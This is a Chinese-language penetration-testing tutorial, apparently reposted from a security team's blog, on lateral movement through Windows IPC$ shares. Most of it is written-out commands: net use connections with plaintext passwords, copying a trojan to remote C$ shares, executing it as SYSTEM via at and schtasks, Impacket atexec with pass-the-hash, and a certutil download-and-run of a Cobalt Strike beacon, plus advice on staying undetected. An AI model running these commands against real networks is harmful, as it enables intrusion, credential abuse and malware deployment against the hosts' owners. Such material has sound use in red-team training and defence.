什么是IPC?
IPC(共享命名管道資源)其實就是為了實現進程間通信而開放的命名管道;它是為了讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道并以此通道進行加密數據的交換,從而實現對遠程計算機的訪問。
IPC的利用條件
1.獲得用戶名和密碼
2.開放了139、445端口
IPC可以實現遠程登錄及對默認共享資源的訪問,而139端口的開啟標識NetBIOS協議的應用。通過139、445端口可以實現對共享文件/打印機的訪問。
3.管理員開啟了默認共享
默認共享是為了方便管理員進行遠程管理而默認開啟的,包括所有的邏輯盤(c$,d$,e$)等,和系統目錄winnt或windows(admin$)。通過IPC可以實現對這些默認共享目錄的訪問。
IPC在內網中的利用手法
IPC基礎命令
1.查看IPC連接與刪除IPC連接
netuse#查看IPC連接 netuse\serveripc$/del#刪除IPC連接
2.建立IPC鏈接到目標主機
netuse\serveripipc$"password"/user:username#工作組
netuse\serveripipc$"password"/user:domainusername#域內主機
3.查看文件列表
dir\serveripc$
4.下載與復制文件
在下載文件這里,我們是可以看到192.168.3.32的C盤下是有一個IP.txt文件的,這里我們使用下載文件命令將其下載到我們的桌面。
copy\serveripc$1.ext1.exe#下載文件
上傳文件同樣也是使用copy命令進行上傳
copy1.bat\serveripc$#上傳文件
5.查看文件內容
若是想要查看?標 C 盤下的 ip.txt ?件就可以使? type 命令
type\192.168.3.32c$ip.txt
計劃任務執行命令
在實戰中,我們建立了IPC連接后,可以上傳木馬文件然后使用計劃任務將其上線,目前windows有兩個計劃任務命令,系統小于windows 2012的使用at命令,系統大于等于Windows server 2012的操作系統已經棄用了at命令使用schtasks命令。
如下圖,假設我們當前已經拿到了Web Server的主機權限,并成功與其內網的兩臺主機建立了IPC連接,這時我們想將這兩臺主機進行上線就需要考慮到剛剛提到的由于windows版本,該使用at還是schtasks計劃讓其運行木馬這個問題。
AT
首先我們先將一個木馬上傳到我們的Web server中,由于內網主機不出網,所以這里要生成正向連接的木馬或通過Web server中轉上線的木馬,這里使用的為中轉上線生成的木馬
在建立IPC連接后,將木馬上傳到目標機器中,然后再使用AT創建計劃任務將其執行上線
netuse\192.168.3.21ipc$"Admin12345"/user:administrator copy4444.exe\192.168.3.21c$ dir\192.168.3.21c$
這里我們可以看到4444.exe已經成功被我們上傳到了目標機器中,這里我們先查看一下目標系統時間,然后在使用at 設置計劃任務,執行我們的木馬文件
nettime\192.168.3.21#查看目標系統時間 at192.168.3.2116:40C:4444.exe#使用at計劃任務執行C盤下的4444.exe
這里可以通過at命令去查看當前計劃任務情況,和刪除計劃任務,具體命令如下
at\192.168.3.211#查看atid=1的計劃任務 at\192.168.3.211/delete#刪除atid=1的計劃任務
到了19:10分后,我們可以看到通過at計劃任務木馬成功被執行,已經上線到了我們的CS中
Schtasks
在windows server 2012及以后的操作系統已經棄用了at命令,轉而使用schtasks命令,schtasks命令比at命令更加的靈活,但是在使用schtasks命令時,就會在系統中留下日志文件:C:Windows|Tasksxx.txt,這里不詳細講解schtasks的具體使用命令,只講解在橫向移動中,我們常用的操作命令。
和AT命令一樣,我們先和目標主機建立IPC連接,將木馬上傳到目標機器中,然后再使用schtasks命令執行木馬程序
netuse\192.168.3.32"admin!@#45"/user:administrator copy4444.exe\192.168.3.32c$ dir\192.168.3.32c$
木馬上傳成功后,接下來就使用schtasks命令,schtasks命令與at命令不同,schtasks命令為先創建一個任務,然后再按需運行該任務,也可直接指定時間運行,但相對來說較于麻煩,所以這里使用按需運行任務,在創建了任務后直接讓其運行即可
schtasks/create/s192.168.3.32/ru"SYSTEM"/tnbeacon/scDAILY/trc:4444.exe/F#創建beacon任務對應執行文件,每天運行一次 schtasks/run/s192.168.3.32/tnbeacon/i#運行beacon服務
這里可以通過schtasks命令去查看當前計劃任務情況,和刪除計劃任務,具體命令如下
schtasks/query|findstrbeacon#查看beacon計劃任務 schtasks/delete/s192.168.3.32/tnbeacon/f#刪除beacon計劃任務
這里,使用schtasks也成功將SQLserver上線。
Impacket-atexec
在上文中,我們講述了在命令行下通過使用計劃任務來進行橫向移動的效果,但該效果相對來說不太方便,例如只適用于明文密碼進行連接,無法支持hash、在執行了命令后,無法獲得回顯等。這里我們可以使用Impacket-atexec工具,impacket是一個打包好的工具包,里面包含了對于各種協議和系統命令的利用工具。
對于at&schtasks,我們可以使用impacket中的atexec.exe,使用它可以輕松地進行遠程連接并執行系統命令。impacket有兩個版本,一個為exe可執行程序,另一個為python文件,該工具適用于Webshell下,Socks代理下,并且支持以hash的方式進行連接。
atexec EXE版
EXE版本具體使用方式如下:首先將atexec.exe上傳到目標機器中
然后運行該文件
atexec.exe./administrator:Admin12345@192.168.3.21"whoami"#本地用戶明文連接執行命令 atexec.exegod/administrator:Admin12345@192.168.3.21"whoami"#域內用戶明文連接執行命令
可以看到,在使用atexec進行執行命令后,結果會直接返回回來,那么我們也可以使用hash進行連接
atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"whoami"#使用hash進行本地用戶連接 atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21"whoami"#使用hash進行域內用戶連接
至此,為atexec的鏈接和命令執行命令,那我們回想剛剛在使用at和schtasks上線時的步驟:建立IPC連接、上傳木馬、設置任務執行....步驟較為繁瑣,那我們在使用atexec時,也可以將其進行上線,并且相對來說較為簡潔方案。首先,在這里我們需要轉變一下思路,不能是將木馬上傳到目標機器中,而是讓目標機器來去下載我們的木馬程序,這里我們將木馬放到Webserver的WEB目錄中,然后構造下載命令,讓目標機器將其下載到其機器中,然后在將其執行即可。web server的web目錄為C:inetpubwwwroot,這里我們直接上傳木馬。
然后構造下載命令看其目標機器能否下載成功
atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"certutil.exe-urlcache-split-fhttp://192.168.3.31:80/4444.exe4444.exe" atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"dir|findstr4444.exe"
可以看到4444.exe已經成功被其下載成功,那么這里我們直接運行4444.exe即可
atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"4444.exe"
這里我們可以也可以看到DC成功上線。
atexec Python版
以上是atexec.exe的利用,但是因為需要在目標主機上面上傳exe在實戰中不實用,可能照成數據包丟失,也可能被查殺。所以這里在實戰中建議使用python版本,但是也有可能目標主機沒有相對的語言解析 ,所以最好的辦法就是使用socket代理調用atexec.py對其內網進行利用。
主要操作如下:首先在CS上設置一個socket代理,然后使用proxifier 添加代理、規則。
設置好代理之后,設置下代理規則,將所有目標主機為192.168.3.0的數據包都通過我們的socket代理進行通信,這樣我們就可以與其內網的主機進行通信。
這時代理設置好了之后,我們就可以直接在本機中使用atexec.py對其內網進行橫向移動了,具體命令如下:
pythonatexec.py.administrator:Admin12345@192.168.3.21"whoami"#本地明文建立IPC連接并執行命令 pythonatexec.pygodadministrator:Admin12345@192.168.3.21"whoami"#域內主機建立IPC連接并執行命令
可以看到,通過socket代理,我們沒有上傳atexec.exe文件,就可直接在本地中對其內網進行利用,可較大程度的避免在實戰中上傳較大exe程序,被查殺或上傳失敗的效果
pythonatexec.py-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"whoami"#本地用戶使用hash進行IPC連接 pythonatexec.py-hashes:ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21"whoami"#本地用戶使用hash進行IPC連接
那么在這里,我們上線CS的步驟也和上文中使用atexec.exe上線步驟一致,這里不再演示。
在內網滲透中,IPC是我們經常用到的手段之一,若?標管理員對服務器禁?遠程登錄我們就可以使? IPC 來完成?些操作,在IPC橫向移動時,較為推薦使用atexec.py+socket代理的形式對其內網進行橫向移動,相對來說動靜較小,不易被發現。
審核編輯:劉清
-
Web服務器
+關注
關注
0文章
138瀏覽量
24486 -
NETBIOS
+關注
關注
0文章
6瀏覽量
9402 -
IPC
+關注
關注
3文章
352瀏覽量
52073
原文標題:橫向移動-IPC
文章出處:【微信號:Tide安全團隊,微信公眾號:Tide安全團隊】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論